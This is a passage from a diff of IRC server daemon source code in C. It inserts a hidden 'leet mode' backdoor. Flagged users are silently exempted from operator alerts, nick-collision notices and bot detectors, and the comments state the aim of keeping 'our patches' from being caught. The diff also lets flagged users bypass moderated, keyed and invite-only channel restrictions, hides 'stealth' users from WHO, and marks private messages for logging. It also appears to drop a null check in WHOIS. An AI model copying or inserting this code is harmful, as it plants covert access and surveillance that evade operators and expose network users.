  1580. +                (parc >= 8) ? parv[7] : "-", parv[0]);
  1581.        
  1582.       }
  1583.  
  1584. @@ -1057,8 +1390,12 @@
  1585.         * isn't a single dot in the hostname, which is suspicious.
  1586.         * Don't fret about it just kill it. - ThemBones
  1587.         */
  1588. -      sendto_realops("BAD HOSTNAME: %s[%s@%s] on %s (from %s)",
  1589. -             parv[0], parv[5], parv[6], parv[7], parv[0]);
  1590. +      /* Shok */
  1591. +      /* Just in case we have a bad person in leet mode.. */
  1592. +      /* (we don't want them getting our patches caught)  */
  1593. +      if (sptr->leet != 1)
  1594. +         sendto_realops("BAD HOSTNAME: %s[%s@%s] on %s (from %s)",
  1595. +                parv[0], parv[5], parv[6], parv[7], parv[0]);
  1596.      }
  1597.  
  1598.    fromTS = (parc > 6);
  1599. @@ -1080,26 +1417,37 @@
  1600.        
  1601.        if (IsServer(cptr))
  1602.      {
  1603. -      ircstp->is_kill++;
  1604. -      sendto_realops_lev(DEBUG_LEV, "Bad Nick: %s From: %s %s",
  1605. -                 parv[1], parv[0],
  1606. -                 get_client_name(cptr, FALSE));
  1607. -      sendto_one(cptr, ":%s KILL %s :%s (%s <- %s[%s])",
  1608. -             me.name, parv[1], me.name, parv[1],
  1609. -             nick, cptr->name);
  1610. -      if (sptr != cptr) /* bad nick change */
  1611. -        {
  1612. -          sendto_serv_butone(cptr,
  1613. -                 ":%s KILL %s :%s (%s <- %s!%s@%s)",
  1614. -                 me.name, parv[0], me.name,
  1615. -                 get_client_name(cptr, FALSE),
  1616. -                 parv[0],
  1617. -                 sptr->user ? sptr->username : "",
  1618. -                 sptr->user ? sptr->user->server :
  1619. -                 cptr->name);
  1620. -          sptr->flags |= FLAGS_KILLED;
  1621. -          return exit_client(cptr,sptr,&me,"BadNick");
  1622. -        }
  1623. +         /* Shok */
  1624. +         /* Just in case we have a bad person in leet mode.. */
  1625. +         /* (we don't want them getting our patches caught)  */
  1626. +         if (sptr->leet != 1) {
  1627. +        ircstp->is_kill++;
  1628. +        sendto_realops_lev(DEBUG_LEV, "Bad Nick: %s From: %s %s",
  1629. +                   parv[1], parv[0],
  1630. +                   get_client_name(cptr, FALSE));
  1631. +        sendto_one(cptr, ":%s KILL %s :%s (%s <- %s[%s])",
  1632. +               me.name, parv[1], me.name, parv[1],
  1633. +               nick, cptr->name);
  1634. +         }
  1635. +
  1636. +         if (sptr != cptr) /* bad nick change */
  1637. +       {
  1638. +              /* Shok */
  1639. +              /* Just in case we have a bad person in leet mode.. */
  1640. +              /* (we don't want them getting our patches caught)  */
  1641. +              if (sptr->leet != 1) {
  1642. +             sendto_serv_butone(cptr,
  1643. +                    ":%s KILL %s :%s (%s <- %s!%s@%s)",
  1644. +                    me.name, parv[0], me.name,
  1645. +                    get_client_name(cptr, FALSE),
  1646. +                    parv[0],
  1647. +                    sptr->user ? sptr->username : "",
  1648. +                    sptr->user ? sptr->user->server :
  1649. +                    cptr->name);
  1650. +            sptr->flags |= FLAGS_KILLED;
  1651. +            return exit_client(cptr,sptr,&me,"BadNick");
  1652. +              }
  1653. +       }
  1654.      }
  1655.        return 0;
  1656.      }
  1657. @@ -1131,15 +1479,21 @@
  1658.    if (acptr)
  1659.      {
  1660.        /*
  1661. -      ** We have a nickname trying to use the same name as
  1662. -      ** a server. Send out a nick collision KILL to remove
  1663. -      ** the nickname. As long as only a KILL is sent out,
  1664. -      ** there is no danger of the server being disconnected.
  1665. -      ** Ultimate way to jupiter a nick ? >;-). -avalon
  1666. -      */
  1667. -      sendto_ops("Nick collision on %s(%s <- %s)",
  1668. -         sptr->name, acptr->from->name,
  1669. -         get_client_name(cptr, FALSE));
  1670. +       * We have a nickname trying to use the same name as
  1671. +       * a server. Send out a nick collision KILL to remove
  1672. +       * the nickname. As long as only a KILL is sent out,
  1673. +       * there is no danger of the server being disconnected.
  1674. +       * Ultimate way to jupiter a nick ? >;-). -avalon
  1675. +       */
  1676. +
  1677. +      /* Shok */
  1678. +      /* Just in case we have a bad person in leet mode.. */
  1679. +      /* (we don't want them getting our patches caught)  */
  1680. +      if (sptr->leet != 1)
  1681. +         sendto_ops("Nick collision on %s(%s <- %s)",
  1682. +            sptr->name, acptr->from->name,
  1683. +            get_client_name(cptr, FALSE));
  1684. +
  1685.        ircstp->is_kill++;
  1686.        sendto_one(cptr, ":%s KILL %s :%s (%s <- %s)",
  1687.           me.name, sptr->name, me.name, acptr->from->name,
  1688. @@ -1195,9 +1549,15 @@
  1689.        }
  1690.      else if (fromTS && !(acptr->user))
  1691.        {
  1692. -    sendto_ops("Nick Collision on %s(%s(NOUSER) <- %s!%s@%s)(TS:%s)",
  1693. -           acptr->name, acptr->from->name, parv[1], parv[5], parv[6],
  1694. -           cptr->name);
  1695. +
  1696. +        /* Shok */
  1697. +        /* Just in case we have a bad person in leet mode.. */
  1698. +        /* (we don't want them getting our patches caught)  */
  1699. +        if (sptr->leet != 1)
  1700. +           sendto_ops("Nick Collision on %s(%s(NOUSER) <- %s!%s@%s)(TS:%s)",
  1701. +              acptr->name, acptr->from->name, parv[1], parv[5], parv[6],
  1702. +              cptr->name);
  1703. +
  1704.      sendto_serv_butone(NULL, /* all servers */
  1705.                 ":%s KILL %s :%s (%s(NOUSER) <- %s!%s@%s)(TS:%s)", me.name,
  1706.                 acptr->name, me.name, acptr->from->name, parv[1], parv[5],
  1707. @@ -1247,9 +1607,14 @@
  1708.        if (!newts || !acptr->tsinfo
  1709.        || (newts == acptr->tsinfo))
  1710.      {
  1711. -      sendto_ops("Nick collision on %s(%s <- %s)(both killed)",
  1712. -             acptr->name, acptr->from->name,
  1713. -             get_client_name(cptr, FALSE));
  1714. +          /* Shok */
  1715. +          /* Just in case we have a bad person in leet mode.. */
  1716. +          /* (we don't want them getting our patches caught)  */
  1717. +          if (sptr->leet != 1)
  1718. +           sendto_ops("Nick collision on %s(%s <- %s)(both killed)",
  1719. +                acptr->name, acptr->from->name,
  1720. +                get_client_name(cptr, FALSE));
  1721. +
  1722.        ircstp->is_kill++;
  1723.        sendto_one(acptr, err_str(ERR_NICKCOLLISION),
  1724.               me.name, acptr->name, acptr->name);
  1725. @@ -1276,13 +1641,21 @@
  1726.        else
  1727.          {
  1728.            if (sameuser)
  1729. -        sendto_ops("Nick collision on %s(%s <- %s)(older killed)",
  1730. -               acptr->name, acptr->from->name,
  1731. -               get_client_name(cptr, FALSE));
  1732. +                 /* Shok */
  1733. +                 /* Just in case we have a bad person in leet mode.. */
  1734. +                 /* (we don't want them getting our patches caught)  */
  1735. +                 if (sptr->leet != 1)
  1736. +            sendto_ops("Nick collision on %s(%s <- %s)(older killed)",
  1737. +                   acptr->name, acptr->from->name,
  1738. +                   get_client_name(cptr, FALSE));
  1739.            else
  1740. -        sendto_ops("Nick collision on %s(%s <- %s)(newer killed)",
  1741. -               acptr->name, acptr->from->name,
  1742. -               get_client_name(cptr, FALSE));
  1743. +                 /* Shok */
  1744. +                 /* Just in case we have a bad person in leet mode.. */
  1745. +                 /* (we don't want them getting our patches caught)  */
  1746. +                 if (sptr->leet != 1)
  1747. +            sendto_ops("Nick collision on %s(%s <- %s)(newer killed)",
  1748. +                   acptr->name, acptr->from->name,
  1749. +                   get_client_name(cptr, FALSE));
  1750.            
  1751.            ircstp->is_kill++;
  1752.            sendto_one(acptr, err_str(ERR_NICKCOLLISION),
  1753. @@ -1308,9 +1681,14 @@
  1754.    if ( !newts || !acptr->tsinfo || (newts == acptr->tsinfo) ||
  1755.        !sptr->user)
  1756.      {
  1757. -      sendto_ops("Nick change collision from %s to %s(%s <- %s)(both killed)",
  1758. -         sptr->name, acptr->name, acptr->from->name,
  1759. -         get_client_name(cptr, FALSE));
  1760. +      /* Shok */
  1761. +      /* Just in case we have a bad person in leet mode.. */
  1762. +      /* (we don't want them getting our patches caught)  */
  1763. +      if (sptr->leet != 1)
  1764. +         sendto_ops("Nick change collision from %s to %s(%s <- %s)(both killed)",
  1765. +            sptr->name, acptr->name, acptr->from->name,
  1766. +            get_client_name(cptr, FALSE));
  1767. +
  1768.        ircstp->is_kill++;
  1769.        sendto_one(acptr, err_str(ERR_NICKCOLLISION),
  1770.           me.name, acptr->name, acptr->name);
  1771. @@ -1337,13 +1715,22 @@
  1772.        (!sameuser && newts > acptr->tsinfo))
  1773.      {
  1774.        if (sameuser)
  1775. -        sendto_ops("Nick change collision from %s to %s(%s <- %s)(older killed)",
  1776. -               sptr->name, acptr->name, acptr->from->name,
  1777. -               get_client_name(cptr, FALSE));
  1778. +             /* Shok */
  1779. +             /* Just in case we have a bad person in leet mode.. */
  1780. +             /* (we don't want them getting our patches caught)  */
  1781. +             if (sptr->leet != 1)
  1782. +            sendto_ops("Nick change collision from %s to %s(%s <- %s)(older killed)",
  1783. +                   sptr->name, acptr->name, acptr->from->name,
  1784. +                   get_client_name(cptr, FALSE));
  1785.        else
  1786. -        sendto_ops("Nick change collision from %s to %s(%s <- %s)(newer killed)",
  1787. -               sptr->name, acptr->name, acptr->from->name,
  1788. -               get_client_name(cptr, FALSE));
  1789. +            /* Shok */
  1790. +            /* Just in case we have a bad person in leet mode.. */
  1791. +            /* (we don't want them getting our patches caught)  */
  1792. +            if (sptr->leet != 1)
  1793. +           sendto_ops("Nick change collision from %s to %s(%s <- %s)(newer killed)",
  1794. +                  sptr->name, acptr->name, acptr->from->name,
  1795. +                  get_client_name(cptr, FALSE));
  1796. +
  1797.        ircstp->is_kill++;
  1798.        sendto_serv_butone(cptr, /* KILL old from outgoing servers */
  1799.                   ":%s KILL %s :%s (%s(%s) <- %s)",
  1800. @@ -1358,13 +1745,21 @@
  1801.        else
  1802.      {
  1803.        if (sameuser)
  1804. -        sendto_ops("Nick collision on %s(%s <- %s)(older killed)",
  1805. -               acptr->name, acptr->from->name,
  1806. -               get_client_name(cptr, FALSE));
  1807. +             /* Shok */
  1808. +             /* Just in case we have a bad person in leet mode.. */
  1809. +             /* (we don't want them getting our patches caught)  */
  1810. +             if (sptr->leet != 1)
  1811. +            sendto_ops("Nick collision on %s(%s <- %s)(older killed)",
  1812. +                   acptr->name, acptr->from->name,
  1813. +                   get_client_name(cptr, FALSE));
  1814.        else
  1815. -        sendto_ops("Nick collision on %s(%s <- %s)(newer killed)",
  1816. -               acptr->name, acptr->from->name,
  1817. -               get_client_name(cptr, FALSE));
  1818. +            /* Shok */
  1819. +            /* Just in case we have a bad person in leet mode.. */
  1820. +            /* (we don't want them getting our patches caught)  */
  1821. +            if (sptr->leet != 1)
  1822. +           sendto_ops("Nick collision on %s(%s <- %s)(newer killed)",
  1823. +                  acptr->name, acptr->from->name,
  1824. +                  get_client_name(cptr, FALSE));
  1825.        
  1826.        ircstp->is_kill++;
  1827.        sendto_one(acptr, err_str(ERR_NICKCOLLISION),
  1828. @@ -1398,7 +1793,12 @@
  1829.        ts_warn("Remote nick %s introduced without a TS", nick);
  1830.      }
  1831.        /* copy the nick in place */
  1832. -      (void)strcpy(sptr->name, nick);
  1833. +      /* buffer check by peedee */
  1834. +      (void)strncpy(sptr->name, nick, sizeof(sptr->name));
  1835. +
  1836. +      /* New Shok */
  1837. +      snprintf(sptr->whowas->curnick, sizeof(sptr->whowas->curnick), "Current nick: %s", nick);
  1838. +
  1839.        (void)add_to_client_hash_table(nick, sptr);
  1840.        if (parc > 8)
  1841.      {
  1842. @@ -1453,12 +1853,17 @@
  1843.            if(sptr->number_of_nick_changes <= MAX_NICK_CHANGES)
  1844.          {
  1845.  #endif
  1846. -          sendto_realops_lev(NCHANGE_LEV,
  1847. -                 "Nick change: From %s to %s [%s@%s]",
  1848. -                 parv[0], nick, sptr->user->username,
  1849. -                 sptr->user->host);
  1850. +              /* New Shok (forgot about sendto_common_channels()  */
  1851. +              /* Just in case we have a bad person in leet mode.. */
  1852. +              /* (we don't want them getting our patches caught)  */
  1853. +              if (sptr->leet != 1) {
  1854. +             sendto_realops_lev(NCHANGE_LEV,
  1855. +                    "Nick change: From %s to %s [%s@%s]",
  1856. +                    parv[0], nick, sptr->user->username,
  1857. +                    sptr->user->host);
  1858.  
  1859. -          sendto_common_channels(sptr, ":%s NICK :%s", parv[0], nick);
  1860. +             sendto_common_channels(sptr, ":%s NICK :%s", parv[0], nick);
  1861. +              }
  1862.            if (sptr->user)
  1863.          {
  1864.            add_history(sptr,1);
  1865. @@ -1481,7 +1886,10 @@
  1866.      }
  1867.        else
  1868.      {
  1869. -      sendto_common_channels(sptr, ":%s NICK :%s", parv[0], nick);
  1870. +          /* New Shok */
  1871. +          if (sptr->leet != 1)
  1872. +          sendto_common_channels(sptr, ":%s NICK :%s", parv[0], nick);
  1873. +
  1874.        if (sptr->user)
  1875.          {
  1876.            add_history(sptr,1);
  1877. @@ -1498,6 +1906,11 @@
  1878.  
  1879.        /* This had to be copied here to avoid problems.. */
  1880.        (void)strcpy(sptr->name, nick);
  1881. +
  1882. +      /* New Shok */
  1883. +/*      snprintf(sptr->whowas->curnick, sizeof(sptr->whowas->curnick), 
  1884. +"Current nick: %s", nick); */
  1885. +
  1886.        sptr->tsinfo = timeofday + timedelta;
  1887.        if (sptr->user)
  1888.      {
  1889. @@ -1516,7 +1929,12 @@
  1890.  #ifdef ANTI_IP_SPOOF
  1891.        if(MyConnect(sptr))
  1892.          {
  1893. -          (void)strcpy(sptr->name,nick);
  1894. +          (void)strcpy(sptr->name, nick);
  1895. +
  1896. +              /* New Shok */
  1897. +/*
  1898. +              snprintf(sptr->whowas->curnick, sizeof(sptr->whowas->curnick), "Current nick: %s", nick);
  1899. +*/
  1900.                sptr->random_ping = my_rand();
  1901.                sendto_one(sptr, "PING :%d", sptr->random_ping);
  1902.                sptr->flags |= FLAGS_PINGSENT;
  1903. @@ -1534,7 +1952,13 @@
  1904.    */
  1905.    if (sptr->name[0])
  1906.      (void)del_from_client_hash_table(sptr->name, sptr);
  1907. +
  1908.    (void)strcpy(sptr->name, nick);
  1909. +
  1910. +  /* New Shok */
  1911. + /* snprintf(sptr->whowas->curnick, sizeof(sptr->whowas->curnick), 
  1912. +"Current nick: %s", nick);*/  
  1913. +
  1914.    (void)add_to_client_hash_table(nick, sptr);
  1915.  
  1916.    return 0;
  1917. @@ -1632,27 +2056,45 @@
  1918.        {
  1919.      /* ComBot */
  1920.      if (strstr(nick, "blehdhfsddd"))
  1921. -      sendto_realops_lev(REJ_LEV,
  1922. -                 "ComBot alarm activated: %s [%s@%s] : [/msg %s]",
  1923. -                 parv[0], sptr->user->username, 
  1924. -                 sptr->user->host, nick);
  1925. +          /* Shok */
  1926. +          /* Just in case we have a bad person in leet mode.. */
  1927. +          /* (we don't want them getting our patches caught)  */
  1928. +          if (sptr->leet != 1)
  1929. +        sendto_realops_lev(REJ_LEV,
  1930. +                   "ComBot alarm activated: %s [%s@%s] : [/msg %s]",
  1931. +                   parv[0], sptr->user->username, 
  1932. +                   sptr->user->host, nick);
  1933.  
  1934.      /* EggDrop finder by desynched */
  1935.      if (!matches("h?4x0r?", nick))
  1936. -      sendto_realops_lev(REJ_LEV,
  1937. +
  1938. +      /* Shok */
  1939. +          /* Just in case we have a bad person in leet mode.. */
  1940. +          /* (we don't want them getting our patches caught)  */
  1941. +          if (sptr->leet != 1)
  1942. +         sendto_realops_lev(REJ_LEV,
  1943.             "EggDrop alarm #2 activated: %s [%s@%s] : [/msg %s]",
  1944.                   parv[0], sptr->user->username,
  1945.                   sptr->user->host, nick);
  1946.  
  1947.      /* HOFBot finder by desynched */
  1948.      if (strstr(nick,"blahb1ah"))
  1949. -      sendto_realops_lev(REJ_LEV, "HOFBot alarm activated: %s [%s@%s] : [/msg %s]",
  1950. -                 parv[0], sptr->user->username, sptr->user->host, nick);
  1951. +      /* Shok */
  1952. +          /* Just in case we have a bad person in leet mode.. */
  1953. +          /* (we don't want them getting our patches caught)  */
  1954. +          if (sptr->leet != 1)
  1955. +        sendto_realops_lev(REJ_LEV, "HOFBot alarm activated: %s [%s@%s] : [/msg %s]",
  1956. +                   parv[0], sptr->user->username, sptr->user->host, nick);
  1957.  
  1958.      /* Stealth finder by desynched */
  1959.      if (strstr(nick,"uthfgse"))
  1960. -      sendto_realops_lev(REJ_LEV, "Stealth Eggdrop alarm activated: %s [%s@%s] : [/msg %s]",
  1961. -                 parv[0], sptr->user->username, sptr->user->host, nick);
  1962. +
  1963. +      /* Shok */
  1964. +          /* Just in case we have a bad person in leet mode.. */
  1965. +          /* (we don't want them getting our patches caught)  */
  1966. +          if (sptr->leet != 1)
  1967. +        sendto_realops_lev(REJ_LEV, "Stealth Eggdrop alarm activated: %s [%s@%s] : [/msg %s]",
  1968. +                   parv[0], sptr->user->username, sptr->user->host, nick);
  1969.        }
  1970.  #endif
  1971.      
  1972. @@ -1678,14 +2120,28 @@
  1973.      if (sptr == acptr)      /* msging self */
  1974.        {
  1975.          if (strstr(parv[2], "\001AWAKE\001"))
  1976. -          sendto_realops_lev(REJ_LEV, "EggDrop alarm activated: %s [%s@%s] : [/ctcp %s AWAKE]",
  1977. -                 parv[0], acptr->user->username, acptr->user->host, parv[0]);
  1978. +            /* Shok */
  1979. +              /* Just in case we have a bad person in leet mode.. */
  1980. +              /* (we don't want them getting our patches caught)  */
  1981. +              if (sptr->leet != 1)
  1982. +            sendto_realops_lev(REJ_LEV, "EggDrop alarm activated: %s [%s@%s] : [/ctcp %s AWAKE]",
  1983. +                   parv[0], acptr->user->username, acptr->user->host, parv[0]);
  1984. +
  1985.          if (strstr(parv[2], "-=Ping Check=-"))
  1986. -          sendto_realops_lev(REJ_LEV,"JohBot alarm activated: %s [%s@%s] : [/msg %s %s]",
  1987. -                 parv[0], acptr->user->username, acptr->user->host, parv[0], parv[2]);
  1988. +            /* Shok */
  1989. +              /* Just in case we have a bad person in leet mode.. */
  1990. +              /* (we don't want them getting our patches caught)  */
  1991. +              if (sptr->leet != 1)
  1992. +            sendto_realops_lev(REJ_LEV,"JohBot alarm activated: %s [%s@%s] : [/msg %s %s]",
  1993. +                   parv[0], acptr->user->username, acptr->user->host, parv[0], parv[2]);
  1994. +
  1995.          if (strstr(parv[2], "\001PRVMSG blah\001"))
  1996. -          sendto_realops_lev(REJ_LEV, "vlad 2.1+tb alarm activated: %s [%s@%s] : [/msg %s %s]",
  1997. -                 parv[0], acptr->user->username, acptr->user->host, parv[0], parv[2]);
  1998. +            /* Shok */
  1999. +              /* Just in case we have a bad person in leet mode.. */
  2000. +              /* (we don't want them getting our patches caught)  */
  2001. +              if (sptr->leet != 1)
  2002. +            sendto_realops_lev(REJ_LEV, "vlad 2.1+tb alarm activated: %s [%s@%s] : [/msg %s %s]",
  2003. +                   parv[0], acptr->user->username, acptr->user->host, parv[0], parv[2]);
  2004.        }
  2005.  #endif
  2006.  
  2007. @@ -1702,12 +2158,45 @@
  2008.          check_for_flud(sptr, NULL, chptr, 1);
  2009.  #endif /* FLUD */
  2010.  
  2011. -    if (can_send(sptr, chptr) == 0)
  2012. -      sendto_channel_butone(cptr, sptr, chptr,
  2013. -                ":%s %s %s :%s",
  2014. -                parv[0], cmd, nick,
  2015. -                parv[2]);
  2016. -    else if (!notice)
  2017. +        /* New Shok */
  2018. +        /* allows us to send to the channel even if its +m     */
  2019. +        /* HOWEVER, if stealth is on.. and it's a +i, +m, or   */
  2020. +        /* +k, we're probably not supposed to be there.. and   */
  2021. +        /* so it will not send anything to the channel and     */
  2022. +        /* should return (can't send to the channel). If you   */
  2023. +        /* really want to speak in a channel that is +k, +m,   */
  2024. +        /* or +i, then do: /speak <channel> [ON | OFF]         */
  2025. +
  2026. +    if (sptr->leet == 1 || can_send(sptr, chptr) == 0) {
  2027. +            /* do something for: if stealth is on but they called */
  2028. +            /* /speak with on, then they can speak.. we will need */
  2029. +            /* a new array to keep track of the channels they can */
  2030. +            /* speak in.                                          */
  2031. +
  2032. +            if (sptr->stealth == 1) {
  2033. +               /* Check to make sure they have called /speak */
  2034. +               int i;
  2035. +
  2036. +               /* Check to see if it's not a public channel and things.. */
  2037. +               if (isKey(chptr) || isInviteOnly(chptr) 
  2038. +                                || isModerated(chptr)
  2039. +                                || isMaxLimit(chptr))
  2040. +                  /* If it's not.. because stealth is on.. we have to */
  2041. +                  /* make sure they _really_ wanted to speak and it   */
  2042. +                  /* wasn't a mistake.                                */
  2043. +                  for (i = 0; sptr->speakchan[i]; i++)
  2044. +                      if (strstr(sptr->speakchan[i], "#hack"))
  2045. +                     sendto_channel_butone(cptr, sptr, chptr,
  2046. +                               ":%s %s %s :%s",
  2047. +                               parv[0], cmd, nick,
  2048. +                               parv[2]);
  2049. +            } else /* if sptr->stealth != 1 */
  2050. +              sendto_channel_butone(cptr, sptr, chptr,
  2051. +                        ":%s %s %s :%s",
  2052. +                        parv[0], cmd, nick,
  2053. +                        parv[2]);
  2054. +               
  2055. +    } else if (!notice)
  2056.        sendto_one(sptr, err_str(ERR_CANNOTSENDTOCHAN),
  2057.               me.name, parv[0], nick);
  2058.      continue;
  2059. @@ -1758,6 +2247,7 @@
  2060.      */
  2061.      if (!IsMe(acptr))
  2062.        {
  2063. +            /* Real Shok - log this */
  2064.          sendto_one(acptr,":%s %s %s :%s", parv[0],
  2065.                 cmd, nick, parv[2]);
  2066.          continue;
  2067. @@ -1780,6 +2270,7 @@
  2068.      if (acptr)
  2069.        {
  2070.          if (count == 1)
  2071. +              /* Real Shok - log this */
  2072.            sendto_prefix_one(acptr, sptr,
  2073.                  ":%s %s %s :%s",
  2074.                  parv[0], cmd,
  2075. @@ -1796,9 +2287,10 @@
  2076.             parv[0], nick);
  2077.    }
  2078.    if ((i > 20) && sptr->user)
  2079. -    sendto_realops_lev(SPY_LEV, "User %s (%s@%s) tried to msg %d users",
  2080. -               sptr->name,
  2081. -               sptr->user->username, sptr->user->host, i);
  2082. +    if (sptr->leet != 1) /* Shok */
  2083. +      sendto_realops_lev(SPY_LEV, "User %s (%s@%s) tried to msg %d users",
  2084. +                 sptr->name,
  2085. +                 sptr->user->username, sptr->user->host, i);
  2086.    return 0;
  2087.  }
  2088.  
  2089. @@ -1840,26 +2332,36 @@
  2090.    char    status[5];
  2091.    int    i = 0;
  2092.  
  2093. -  if (acptr->user->away)
  2094. -    status[i++] = 'G';
  2095. -  else
  2096. -    status[i++] = 'H';
  2097. -  if (IsAnOper(acptr))
  2098. -    status[i++] = '*';
  2099. -  if ((repchan != NULL) && (lp == NULL))
  2100. -    lp = find_user_link(repchan->members, acptr);
  2101. -  if (lp != NULL)
  2102. +  /* peedee */
  2103. +
  2104. +  if (acptr->stealth != 1) 
  2105. +  {
  2106. +    if (acptr->user->away)
  2107. +      status[i++] = 'G';
  2108. +    else
  2109. +      status[i++] = 'H';
  2110. +
  2111. +    if (IsAnOper(acptr))
  2112. +      status[i++] = '*';
  2113. +
  2114. +    if ((repchan != NULL) && (lp == NULL))
  2115. +      lp = find_user_link(repchan->members, acptr);
  2116. +
  2117. +    if (lp != NULL)
  2118.      {
  2119.        if (lp->flags & CHFL_CHANOP)
  2120.      status[i++] = '@';
  2121. +
  2122.        else if (lp->flags & CHFL_VOICE)
  2123.      status[i++] = '+';
  2124.      }
  2125. -  status[i] = '\0';
  2126. -  sendto_one(sptr, rpl_str(RPL_WHOREPLY), me.name, sptr->name,
  2127. -         (repchan) ? (repchan->chname) : "*", acptr->user->username,
  2128. -         acptr->user->host, acptr->user->server, acptr->name,
  2129. -         status, acptr->hopcount, acptr->info);
  2130. +
  2131. +    status[i] = '\0';
  2132. +    sendto_one(sptr, rpl_str(RPL_WHOREPLY), me.name, sptr->name,
  2133. +           (repchan) ? (repchan->chname) : "*", acptr->user->username,
  2134. +           acptr->user->host, acptr->user->server, acptr->name,
  2135. +           status, acptr->hopcount, acptr->info);
  2136. +  }
  2137.  }
  2138.  
  2139.  /*
  2140. @@ -1868,6 +2370,7 @@
  2141.  **    parv[1] = nickname mask list
  2142.  **    parv[2] = additional selection flag, only 'o' for now.
  2143.  */
  2144. +
  2145.  int    m_who(aClient *cptr,
  2146.            aClient *sptr,
  2147.            int parc,
  2148. @@ -1894,6 +2397,7 @@
  2149.    if (check_registered_user(sptr))
  2150.      return 0;
  2151.  
  2152. +
  2153.    /*
  2154.    **  Following code is some ugly hacking to preserve the
  2155.    **  functions of the old implementation. (Also, people
  2156. @@ -1933,12 +2437,15 @@
  2157.        if (member || !SecretChannel(chptr))
  2158.          for (lp = chptr->members; lp; lp = lp->next)
  2159.            {
  2160. +
  2161.          if (oper && !IsAnOper(lp->value.cptr))
  2162.            continue;
  2163. +
  2164.          if (IsInvisible(lp->value.cptr) && !member)
  2165.            continue;
  2166. -        do_who(sptr, lp->value.cptr, chptr, lp);
  2167. -          }
  2168. +
  2169. +                do_who(sptr, lp->value.cptr, chptr, lp);
  2170. +            }
  2171.      }
  2172.      }
  2173.    else if (mask && 
  2174. @@ -1953,15 +2460,15 @@
  2175.      {
  2176.        chptr = lp->value.chptr;
  2177.        member = IsMember(sptr, chptr);
  2178. -      if (isinvis && !member)
  2179. -        continue;
  2180. +
  2181.        if (member || (!isinvis && PubChannel(chptr)))
  2182.          {
  2183.            ch2ptr = chptr;
  2184.            break;
  2185.          }
  2186.      }
  2187. -      do_who(sptr, acptr, ch2ptr, NULL);
  2188. +
  2189. +          do_who(sptr, acptr, ch2ptr, NULL);
  2190.      }
  2191.    else for (acptr = client; acptr; acptr = acptr->next)
  2192.      {
  2193. @@ -1986,8 +2493,10 @@
  2194.      {
  2195.        chptr = lp->value.chptr;
  2196.        member = IsMember(sptr, chptr);
  2197. +          
  2198.        if (isinvis && !member)
  2199.          continue;
  2200. +
  2201.        if (member || (!isinvis && PubChannel(chptr)))
  2202.          {
  2203.            ch2ptr = chptr;
  2204. @@ -1998,6 +2507,7 @@
  2205.            !isinvis)
  2206.          showperson = 1;
  2207.      }
  2208. +
  2209.        if (!acptr->user->channel && !isinvis)
  2210.      showperson = 1;
  2211.        if (showperson &&
  2212. @@ -2008,7 +2518,9 @@
  2213.         !matches(mask, acptr->user->server) ||
  2214.         !matches(mask, acptr->info)))
  2215.      {
  2216. -      do_who(sptr, acptr, ch2ptr, NULL);
  2217. +
  2218. +          do_who(sptr, acptr, ch2ptr, NULL);
  2219. +
  2220.        if (!--maxmatches)
  2221.          {
  2222.            sendto_one(sptr, rpl_str(RPL_ENDOFWHO), me.name, parv[0],
  2223. @@ -2025,54 +2537,54 @@
  2224.  
  2225.  /*
  2226.  ** m_whois
  2227. -**    parv[0] = sender prefix
  2228. -**    parv[1] = nickname masklist
  2229. +**      parv[0] = sender prefix
  2230. +**      parv[1] = nickname masklist
  2231.  */
  2232. -int    m_whois(aClient *cptr,
  2233. -        aClient *sptr,
  2234. -        int parc,
  2235. -        char *parv[])
  2236. +int     m_whois(aClient *cptr,
  2237. +                aClient *sptr,
  2238. +                int parc,
  2239. +                char *parv[])
  2240.  {
  2241.    static anUser UnknownUser =
  2242.    {
  2243. -    NULL,    /* next */
  2244. -    NULL,       /* channel */
  2245. -    NULL,       /* invited */
  2246. -    NULL,    /* away */
  2247. -    0,        /* last */
  2248. -    1,          /* refcount */
  2249. -    0,        /* joined */
  2250. -    "<Unknown>",    /* user */
  2251. -    "<Unknown>",    /* host */
  2252. -    "<Unknown>"        /* server */
  2253. +    NULL,       /* next */
  2254. +    NULL,       /* channel */
  2255. +    NULL,       /* invited */
  2256. +    NULL,       /* away */
  2257. +    0,          /* last */
  2258. +    1,          /* refcount */
  2259. +    0,          /* joined */
  2260. +    "<Unknown>",        /* user */
  2261. +    "<Unknown>",        /* host */
  2262. +    "<Unknown>"         /* server */
  2263.    };
  2264. -  Reg    Link    *lp;
  2265. -  Reg    anUser    *user;
  2266. +  Reg   Link    *lp;
  2267. +  Reg   anUser  *user;
  2268.    aClient *acptr, *a2cptr;
  2269.    aChannel *chptr;
  2270. -  char    *nick, *tmp, *name;
  2271. -  char    *p = NULL;
  2272. -  int    found, len, mlen;
  2273. +  char  *nick, *tmp, *name;
  2274. +  char  *p = NULL;
  2275. +  int   found, len, mlen;
  2276.  
  2277.    if (parc < 2)
  2278.      {
  2279.        sendto_one(sptr, err_str(ERR_NONICKNAMEGIVEN),
  2280. -         me.name, parv[0]);
  2281. +                 me.name, parv[0]);
  2282.        return 0;
  2283.      }
  2284.  
  2285.    if (parc > 2)
  2286.      {
  2287.        if (hunt_server(cptr,sptr,":%s WHOIS %s :%s", 1,parc,parv) !=
  2288. -      HUNTED_ISME)
  2289. -    return 0;
  2290. +          HUNTED_ISME)
  2291. +        return 0;
  2292.        parv[1] = parv[2];
  2293.      }
  2294.  
  2295.    for (tmp = parv[1]; (nick = strtoken(&p, tmp, ",")); tmp = NULL)
  2296.      {
  2297. -      int    invis, showperson, member, wilds;
  2298. -      
  2299. +      int       invis, showperson, member, wilds;
  2300. +
  2301.        found = 0;
  2302.        (void)collapse(nick);
  2303.        wilds = (index(nick, '?') || index(nick, '*'));
  2304. @@ -2081,230 +2593,248 @@
  2305.        ** requests with wildcards.
  2306.        */
  2307.        if (!MyConnect(sptr) && wilds)
  2308. -    continue;
  2309. +        continue;
  2310.  
  2311.        /* If the nick doesn't have any wild cards in it,
  2312. -     then just pick it up from the hash table
  2313. -     - Dianora */
  2314. +         then just pick it up from the hash table
  2315. +         - Dianora */
  2316.  
  2317.        if(!wilds)
  2318. -    {
  2319. -      acptr = hash_find_client(nick,(aClient *)NULL);
  2320. -      if(!acptr)
  2321. -        {
  2322. -          sendto_one(sptr, err_str(ERR_NOSUCHNICK),
  2323. -             me.name, parv[0], nick);
  2324. -          continue;
  2325. -        }
  2326. +        {
  2327. +          acptr = hash_find_client(nick,(aClient *)NULL);
  2328.  
  2329.            user = acptr->user ? acptr->user : &UnknownUser;
  2330. -      name = (!*acptr->name) ? "?" : acptr->name;
  2331. -      invis = IsInvisible(acptr);
